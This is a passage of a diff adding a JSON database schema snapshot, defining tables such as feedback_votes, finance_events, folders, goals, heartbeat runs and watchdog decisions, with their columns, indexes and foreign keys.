+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_with_labs": {
+          "name": "shared_with_labs",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "shared_at": {
+          "name": "shared_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_votes_company_issue_idx": {
+          "name": "feedback_votes_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_issue_target_idx": {
+          "name": "feedback_votes_issue_target_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_author_idx": {
+          "name": "feedback_votes_author_idx",
+          "columns": [
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_company_target_author_idx": {
+          "name": "feedback_votes_company_target_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_votes_company_id_companies_id_fk": {
+          "name": "feedback_votes_company_id_companies_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_votes_issue_id_issues_id_fk": {
+          "name": "feedback_votes_issue_id_issues_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.finance_events": {
+      "name": "finance_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cost_event_id": {
+          "name": "cost_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "event_kind": {
+          "name": "event_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'debit'"
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_adapter_type": {
+          "name": "execution_adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pricing_tier": {
+          "name": "pricing_tier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "region": {
+          "name": "region",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quantity": {
+          "name": "quantity",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unit": {
+          "name": "unit",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "amount_cents": {
+          "name": "amount_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "currency": {
+          "name": "currency",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'USD'"
+        },
+        "estimated": {
+          "name": "estimated",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "external_invoice_id": {
+          "name": "external_invoice_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata_json": {
+          "name": "metadata_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "finance_events_company_occurred_idx": {
+          "name": "finance_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_biller_occurred_idx": {
+          "name": "finance_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_kind_occurred_idx": {
+          "name": "finance_events_company_kind_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "event_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_direction_occurred_idx": {
+          "name": "finance_events_company_direction_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_heartbeat_run_idx": {
+          "name": "finance_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_cost_event_idx": {
+          "name": "finance_events_company_cost_event_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cost_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "finance_events_company_id_companies_id_fk": {
+          "name": "finance_events_company_id_companies_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_agent_id_agents_id_fk": {
+          "name": "finance_events_agent_id_agents_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_issue_id_issues_id_fk": {
+          "name": "finance_events_issue_id_issues_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "finance_events_project_id_projects_id_fk": {
+          "name": "finance_events_project_id_projects_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_goal_id_goals_id_fk": {
+          "name": "finance_events_goal_id_goals_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "finance_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_cost_event_id_cost_events_id_fk": {
+          "name": "finance_events_cost_event_id_cost_events_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "cost_events",
+          "columnsFrom": [
+            "cost_event_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.folders": {
+      "name": "folders",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "system_key": {
+          "name": "system_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "folders_company_kind_position_idx": {
+          "name": "folders_company_kind_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_root_slug_uq": {
+          "name": "folders_company_kind_root_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_slug_uq": {
+          "name": "folders_company_kind_parent_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_system_key_uq": {
+          "name": "folders_company_kind_system_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "system_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"system_key\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_position_idx": {
+          "name": "folders_company_kind_parent_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "folders_company_id_companies_id_fk": {
+          "name": "folders_company_id_companies_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "folders_parent_id_folders_id_fk": {
+          "name": "folders_parent_id_folders_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.goals": {
+      "name": "goals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'task'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'planned'"
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "goals_company_idx": {
+          "name": "goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "goals_company_id_companies_id_fk": {
+          "name": "goals_company_id_companies_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_parent_id_goals_id_fk": {
+          "name": "goals_parent_id_goals_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_owner_agent_id_agents_id_fk": {
+          "name": "goals_owner_agent_id_agents_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_events": {
+      "name": "heartbeat_run_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "bigserial",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "seq": {
+          "name": "seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stream": {
+          "name": "stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_events_run_seq_idx": {
+          "name": "heartbeat_run_events_run_seq_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "seq",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_run_idx": {
+          "name": "heartbeat_run_events_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_created_idx": {
+          "name": "heartbeat_run_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_events_company_id_companies_id_fk": {
+          "name": "heartbeat_run_events_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_events_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_watchdog_decisions": {
+      "name": "heartbeat_run_watchdog_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evaluation_issue_id": {
+          "name": "evaluation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_watchdog_decisions_company_run_created_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_watchdog_decisions_company_run_snooze_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_snooze_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "snoozed_until",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_watchdog_decisions_company_id_companies_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "evaluation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_runs": {
+      "name": "heartbeat_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_source": {
+          "name": "invocation_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'on_demand'"
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
